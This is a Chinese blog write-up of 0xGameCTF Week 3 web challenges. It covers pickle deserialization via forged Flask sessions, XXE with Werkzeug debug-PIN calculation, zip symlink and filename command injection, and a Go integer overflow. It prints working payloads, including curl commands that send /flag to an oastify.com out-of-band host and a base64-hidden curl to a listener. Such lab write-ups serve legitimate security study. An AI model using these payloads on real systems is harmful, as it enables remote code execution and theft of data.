目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. notebook(复现)
    2. 2.2. rss_parser(复现)
    3. 2.3. zip_file_manager(复现)
      1. 2.3.1. 法1:软链接
      2. 2.3.2. 法2:命令注入
    4. 2.4. web_snapshot(未完成)
    5. 2.5. GoShop

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

0xGameCTF Week3

2023/10/17 CTF线上赛
  |     |   总文章阅读量:

前言

怎么啥类型的题都有,知识点最全面的一集(

好了,这下我也是新生了,没时间也做不动了,等wp下来复现

Web

notebook(复现)

session伪造爆破+pickle反序列化

app.py

from flask import Flask, request, render_template, session
import pickle
import uuid
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

class Note(object):
    def __init__(self, name, content):
        self._name = name
        self._content = content

    @property
    def name(self):
        return self._name
    
    @property
    def content(self):
        return self._content


@app.route('/')
def index():
    return render_template('index.html')


@app.route('/<path:note_id>', methods=['GET'])
def view_note(note_id):
    notes = session.get('notes')
    if not notes:
        return render_template('note.html', msg='You have no notes')
    
    note_raw = notes.get(note_id)
    if not note_raw:
        return render_template('note.html', msg='This note does not exist')
    
    note = pickle.loads(note_raw)
    return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)


@app.route('/add_note', methods=['POST'])
def add_note():
    note_name = request.form.get('note_name')
    note_content = request.form.get('note_content')

    if note_name == '' or note_content == '':
        return render_template('index.html', status='add_failed', msg='note name or content is empty')
    
    note_id = str(uuid.uuid4())
    note = Note(note_name, note_content)

    if not session.get('notes'):
        session['notes'] = {}
    
    notes = session['notes']
    notes[note_id] = pickle.dumps(note)
    session['notes'] = notes
    return render_template('index.html', status='add_success', note_id=note_id)


@app.route('/delete_note', methods=['POST'])
def delete_note():
    note_id = request.form.get('note_id')
    if not note_id:
        return render_template('index.html')
    
    notes = session.get('notes')
    if not notes:
        return render_template('index.html', status='delete_failed', msg='You have no notes')
    
    if not notes.get(note_id):
        return render_template('index.html', status='delete_failed', msg='This note does not exist')
    
    del notes[note_id]
    session['notes'] = notes
    return render_template('index.html', status='delete_success')


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)
  • Hint 3: pickle 是干什么的? 可以利用吗?
  • Hint 5: 构造恶意 pickle 序列化数据实现 RCE

审计代码,可以发现有pickle库

在访问note的路由中发现pickle.loads

在写入note的路由中发现pickle.dumps

@app.route('/<path:note_id>', methods=['GET'])
def view_note(note_id):
    notes = session.get('notes')
    if not notes:
        return render_template('note.html', msg='You have no notes')
    
    note_raw = notes.get(note_id)
    if not note_raw:
        return render_template('note.html', msg='This note does not exist')
    
    note = pickle.loads(note_raw)
    return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)

@app.route('/add_note', methods=['POST'])
def add_note():
    note_name = request.form.get('note_name')
    note_content = request.form.get('note_content')

    if note_name == '' or note_content == '':
        return render_template('index.html', status='add_failed', msg='note name or content is empty')
    
    note_id = str(uuid.uuid4())
    note = Note(note_name, note_content)

    if not session.get('notes'):
        session['notes'] = {}
    
    notes = session['notes']
    notes[note_id] = pickle.dumps(note)
    session['notes'] = notes
    return render_template('index.html', status='add_success', note_id=note_id)

审计一下,pickle.loads内的对象是note_raw也就是note_id,而notes[note_id] = pickle.dumps(note),note_id的值为str(uuid.uuid4())不可控,但是对于notes列表,它的值是session['notes'],这个值是可以被伪造的,从而控制note_id

  • Hint 2: 通过 SECRET_KEY 可以伪造 Flask session
  • Hint 4: 尝试爆破 SECRET_KEY (os.urandom(2).hex() 只有四位数)

这一块可以参考moectf2023的moeworld,flask-unsign爆破

生成字典

import os
with open('dict.txt','w') as f:
	for i in range(1,100000):
		a=os.urandom(2).hex()
		f.write("\"{}\"\n".format(a))
flask-unsign --unsign --cookie ".eJwtyk0LgjAYAOC_ErsPtjk_JnRYQ0kiD6lp3nxls2JaUGQg--8V9JyfBU23p36geEEehJoS6uGeeAZzTnwsTNBhIqKoN1qEhge_twIUo0EWx3yQf2qvUmGgTu9ghbHZnJSjIG1blFaNG7tl1S6b04b5Z6jr6iqT9_dkDctfMB0sTEXVyZaeLnyNnHMfbv4tEQ.ZTFEpA.9ifsWDASoCSJr6kIyx7x0ewAPaE" --wordlist dict.txt

image-20231019230735879

得到key

然后解码一下session

python3 flask_session_cookie_manager3.py decode -c ".eJwtyk0LgjAYAOC_ErsPtjk_JnRYQ0kiD6lp3nxls2JaUGQg--8V9JyfBU23p36geEEehJoS6uGeeAZzTnwsTNBhIqKoN1qEhge_twIUo0EWx3yQf2qvUmGgTu9ghbHZnJSjIG1blFaNG7tl1S6b04b5Z6jr6iqT9_dkDctfMB0sTEXVyZaeLnyNnHMfbv4tEQ.ZTFEpA.9ifsWDASoCSJr6kIyx7x0ewAPaE" -s "a5d7"

image-20231019231123811

很明显,要想进行命令执行,就要修改里面的二进制字节流

手搓一个opcode,pker工具生成的opcode好像不怎么好使。。。

b'''cos
system
(S'whoami'
tR.'''

也即b'''cos\nsystem\n(S'whoami'\ntR.'''

带进去session伪造即可,其实可以直接使用flask-unsign解决

注:

  • 如果使用pickle.dumps()来⽣成 payload, 那么得知道不同操作系统⽣成的 pickle 序列化数据是有区别的

    # Linux (注意 posix)
    b'cposix\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
    # Windows (注意 nt)
    b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
  • 构造了恶意 pickle 序列化数据发送之后服务器报错 500,

  • 上⾯代码在 pickle.loads() 之后得到 note 对象, 然后访问它的id,name,content属性,即 note.id,note.name,note.content如果是正常的 pickle 数据,那么服务器就会显示正常的 note 内容,如果是恶意的 pickle 数据,那么 pickle.loads() 返回的就是通过 __reduce__ ⽅法调⽤的某个函数所返回的结果, 根本就没有 id, name, content 这些属性,当然就会报错。换成os.system() 同理, 在 Linux 中通过这个函数执⾏的命令, 如果执⾏成功, 则返回 0, 否则返回非0值,虽然服务器会报错 500, 但是命令还是执行成功的

  • 回显的内容不会在网页上输出,需要反弹shell或者dns带外

这里用dns带外的方法:

b'''cos\nsystem\n(S'curl 5cidlk6fmr0rtmpjbmx2fxrujlpbd0.oastify.com -X POST -d \"`cat /flag`\"'\ntR.'''
  • Hint 1: 由于题目环境每 10 分钟重置一次 因此 SECRET_KEY 的值会变化

10分钟速通感觉还是挺难的(

先创建一个新的note,然后session伪造

flask-unsign --sign --cookie "{'notes': {'2392a14b-5f40-45ed-9f2d-85aa3467d13e': b'''cos\nsystem\n(S'curl qpjyy5j0zcdc6724o7ansi4fw62zqo.oastify.com -X POST -d \"`cat /flag`\"'\ntR.'''}}" --secret '4b42' --no-literal-eval

image-20231025174914976

image-20231025175003577

最后带外的结果是这样,应该没问题吧(心虚


rss_parser(复现)

xxe+flask算pin

app.py

from flask import Flask, render_template, request, redirect
from urllib.parse import unquote
from lxml import etree
from io import BytesIO
import requests
import re

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'GET':
        return render_template('index.html')
    else:
        feed_url = request.form['url']
        if not re.match(r'^(http|https)://', feed_url):
            return redirect('/')

        content = requests.get(feed_url).content
        tree = etree.parse(BytesIO(content), etree.XMLParser(resolve_entities=True))

        result = {}

        rss_title = tree.find('/channel/title').text
        rss_link = tree.find('/channel/link').text
        rss_posts = tree.findall('/channel/item')

        result['title'] = rss_title
        result['link'] = rss_link
        result['posts'] = []

        if len(rss_posts) >= 10:
            rss_posts = rss_posts[:10]

        for post in rss_posts:
            post_title = post.find('./title').text
            post_link = post.find('./link').text
            result['posts'].append({'title': post_title, 'link': unquote(post_link)})
 
        return render_template('index.html', feed_url=feed_url, result=result)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=True)
  • Hint 1: 一个解析 XML 的功能会存在什么漏洞? (注意 resolve_entities=True)

根据它的提示,很明显tree = etree.parse(BytesIO(content), etree.XMLParser(resolve_entities=True))存在xxe漏洞

而题目要我们输入一个符合RSS Feed标准的url

那么将⼀个符合 RSS Feed XML标准的payload放到自己的HTTP服务器上就可以XXE,我这里用的是内网穿透,虚拟机要先用python开个http服务

RSS菜鸟教程:https://www.runoob.com/rss/rss-tutorial.html

放在服务器上的index.xml文件:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///flag">]>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
<channel>
<title>&file;</title>
<link>http://76135132qk.imdo.co</link>
<item>
<title>test</title>
<link>http://76135132qk.imdo.co</link>
</item>
</channel>
</rss>

但是这题不能直接读flag

  • Hint 2: 题目需要 RCE 并执行 /readflag 命令才能获得 flag

  • Hint 3: 注意 app.run() 的参数

  • Hint 4: Flask Debug 模式利用 (XXE 读取文件计算 PIN 码)

接下来就是flask算pin的环节,之前随便填url搞出报错页面,可以得知题目版本为3.9,得知flask的路径为/usr/local/lib/python3.9/site-packages/flask/app.py

首先读/sys/class/net/eth0/address

image-20231102214016013

02:42:c0:a8:a0:02,换算为10进制为2485723373570

然后是/etc/machine-id,这里不存在

接着是/proc/sys/kernel/random/boot_id,读出来5dcbb593-2656-4e8e-a4e9-9a0afb803c47

再读/proc/self/cgroup,读出来0::/,也就是没有id值,所以不用拼接,直接用上面的bootid即可

剩下的username可以通过读取/etc/passwd来猜⼀下, ⼀般都是 root 或者最底下的⽤户app , 多试⼏个就⾏

把这几个数据丢到脚本里生成pin码

import hashlib
from itertools import chain


probably_public_bits = [
    'app',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.9/site-packages/flask/app.py'  # getattr(mod, '__file__', None),
]


# This information is here to make it harder for an attacker to
# guess the cookie name.  They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [
    '2485723373570',  # str(uuid.getnode()),  /sys/class/net/ens33/address
    # Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
    #'96cec10d3d9307792745ec3b85c89620 867ab5d2-4e57-4335-811b-2943c662e936 dd0b25f3d46cf1a527e51b81aa90d16a01e0f2032fd1212688e6a5573a841b82'
    '5dcbb593-2656-4e8e-a4e9-9a0afb803c47'
]


h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")


cookie_name = f"__wzd{h.hexdigest()[:20]}"


# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]


# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x: x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num


print(rv)

运行得到pin码431-347-509

那么访问/console进终端,输入得到的pin码,命令执行即可,flag要执行/readflag获得

image-20231102214756026


zip_file_manager(复现)

unzip漏洞

其实和今年国赛的unzip是一样的考点, 只不过换成了python框架

不过这题有两种做法

app.py

from flask import Flask, request, render_template, redirect, send_file
import hashlib
import os

app = Flask(__name__)

def md5(m):
    return hashlib.md5(m.encode('utf-8')).hexdigest()


@app.route('/unzip', methods=['POST'])
def unzip():
    f = request.files.get('file')
    if not f.filename.endswith('.zip'):
        return redirect('/')

    user_dir = os.path.join('./uploads', md5(request.remote_addr))
    if not os.path.exists(user_dir):
        os.mkdir(user_dir)

    zip_path = os.path.join(user_dir, f.filename)
    dest_path = os.path.join(user_dir, f.filename[:-4])
    f.save(zip_path)

    os.system('unzip -o {} -d {}'.format(zip_path, dest_path))
    return redirect('/')


@app.route('/', defaults={'subpath': ''}, methods=['GET'])
@app.route('/<path:subpath>', methods=['GET'])
def index(subpath):
    user_dir = os.path.join('./uploads', md5(request.remote_addr))
    if not os.path.exists(user_dir):
        os.mkdir(user_dir)

    if '..' in subpath:
        return 'blacklist'

    current_path = os.path.join(user_dir, subpath)

    if os.path.isdir(current_path):
        res = []
        res.append({'type': 'Directory', 'name': '..'})
        for v in os.listdir(current_path):
            if os.path.isfile(os.path.join(current_path, v)):
                res.append({'type': 'File', 'name': v})
            else:
                res.append({'type': 'Directory', 'name': v})
        return render_template('index.html', upload_path=user_dir, res=res)
    else:
        return send_file(current_path)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)

法1:软链接

ln -s / test
zip -y test.zip test

因为题目已经提供了查看文件的功能,所以这里把软链接直接指向根目录

上传test.zip,然后访问test即可查看根目录获得flag


法2:命令注入

@app.route('/unzip', methods=['POST'])
def unzip():
    f = request.files.get('file')
    if not f.filename.endswith('.zip'):
        return redirect('/')

    user_dir = os.path.join('./uploads', md5(request.remote_addr))
    if not os.path.exists(user_dir):
        os.mkdir(user_dir)

    zip_path = os.path.join(user_dir, f.filename)
    dest_path = os.path.join(user_dir, f.filename[:-4])
    f.save(zip_path)

    os.system('unzip -o {} -d {}'.format(zip_path, dest_path))
    return redirect('/')

审计这段代码,可以发现这里调用了os.system执行unzip命令,但是路径名是直接拼接进去的,而zip的文件名可控,所以存在命令注入

burp上传时抓包把 filename 改成下面的命令把回显带外即可,类似于ping的命令注入

test.zip;echo Y3VybCBob3N0LmRvY2tlci5pbnRlcm5hbDo0NDQ0IC1UIC9mbGFnCg==|base64 -d|bash;1.zip

web_snapshot(未完成)

SSRF打Redis主从复制 RCE


GoShop

整数溢出

main.go

package main

import (
	"crypto/rand"
	"embed"
	"fmt"
	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
	"github.com/google/uuid"
	"html/template"
	"net/http"
	"os"
	"strconv"
)

type User struct {
	Id    string
	Money int64
	Items map[string]int64
}

type Product struct {
	Name  string
	Price int64
}

var users map[string]*User

var products []*Product

//go:embed public
var fs embed.FS

func init() {
	users = make(map[string]*User)
	products = []*Product{
		{Name: "Apple", Price: 10},
		{Name: "Banana", Price: 50},
		{Name: "Orange", Price: 100},
		{Name: "Flag", Price: 999999999},
	}
}

func IndexHandler(c *gin.Context) {
	c.HTML(200, "index.html", gin.H{})
}

func InfoHandler(c *gin.Context) {
	s := sessions.Default(c)

	if s.Get("id") == nil {
		u := uuid.New().String()
		users[u] = &User{Id: u, Money: 100, Items: make(map[string]int64)}
		s.Set("id", u)
		s.Save()
	}

	user := users[s.Get("id").(string)]
	c.JSON(200, gin.H{
		"user": user,
	})
}

func ResetHandler(c *gin.Context) {
	s := sessions.Default(c)
	s.Clear()

	u := uuid.New().String()
	users[u] = &User{Id: u, Money: 100, Items: make(map[string]int64)}
	s.Set("id", u)
	s.Save()

	c.JSON(200, gin.H{
		"message": "Reset success",
	})
}

func BuyHandler(c *gin.Context) {
	s := sessions.Default(c)
	user := users[s.Get("id").(string)]

	data := make(map[string]interface{})
	c.ShouldBindJSON(&data)

	var product *Product

	for _, v := range products {
		if data["name"] == v.Name {
			product = v
			break
		}
	}

	if product == nil {
		c.JSON(200, gin.H{
			"message": "No such product",
		})
		return
	}

	n, _ := strconv.Atoi(data["num"].(string))

	if n < 0 {
		c.JSON(200, gin.H{
			"message": "Product num can't be negative",
		})
		return
	}

	if user.Money >= product.Price*int64(n) {
		user.Money -= product.Price * int64(n)
		user.Items[product.Name] += int64(n)
		c.JSON(200, gin.H{
			"message": fmt.Sprintf("Buy %v * %v success", product.Name, n),
		})
	} else {
		c.JSON(200, gin.H{
			"message": "You don't have enough money",
		})
	}
}

func SellHandler(c *gin.Context) {
	s := sessions.Default(c)
	user := users[s.Get("id").(string)]

	data := make(map[string]interface{})
	c.ShouldBindJSON(&data)

	var product *Product

	for _, v := range products {
		if data["name"] == v.Name {
			product = v
			break
		}
	}

	if product == nil {
		c.JSON(200, gin.H{
			"message": "No such product",
		})
		return
	}

	count := user.Items[data["name"].(string)]
	n, _ := strconv.Atoi(data["num"].(string))

	if n < 0 {
		c.JSON(200, gin.H{
			"message": "Product num can't be negative",
		})
		return
	}

	if count >= int64(n) {
		user.Money += product.Price * int64(n)
		user.Items[product.Name] -= int64(n)
		c.JSON(200, gin.H{
			"message": fmt.Sprintf("Sell %v * %v success", product.Name, n),
		})
	} else {
		c.JSON(200, gin.H{
			"message": "You don't have enough product",
		})
	}
}

func FlagHandler(c *gin.Context) {
	s := sessions.Default(c)
	user := users[s.Get("id").(string)]

	v, ok := user.Items["Flag"]
	if !ok || v <= 0 {
		c.JSON(200, gin.H{
			"message": "You must buy <code>flag</code> first",
		})
		return
	}

	flag, _ := os.ReadFile("/flag")
	c.JSON(200, gin.H{
		"message": fmt.Sprintf("Here is your flag: <code>%s</code>", string(flag)),
	})
}

func main() {
	secret := make([]byte, 16)
	rand.Read(secret)

	tpl, _ := template.ParseFS(fs, "public/index.html")
	store := cookie.NewStore(secret)

	r := gin.Default()
	r.SetHTMLTemplate(tpl)
	r.Use(sessions.Sessions("gosession", store))

	r.GET("/", IndexHandler)

	api := r.Group("/api")
	{
		api.GET("/info", InfoHandler)
		api.POST("/buy", BuyHandler)
		api.POST("/sell", SellHandler)
		api.GET("/flag", FlagHandler)
		api.GET("/reset", ResetHandler)
	}

	r.StaticFileFS("/static/main.js", "public/main.js", http.FS(fs))
	r.StaticFileFS("/static/simple.css", "public/simple.css", http.FS(fs))

	r.Run(":8000")
}

审计一下代码可以发现里面的商品都是用int64处理的,取值范围为-9223372036854775808到9223372036854775807

那思路就很清晰了

买9223372036854775807个apple

image-20231017002958971

再卖掉999999999个apple

image-20231017003039736

这样钱就够买flag了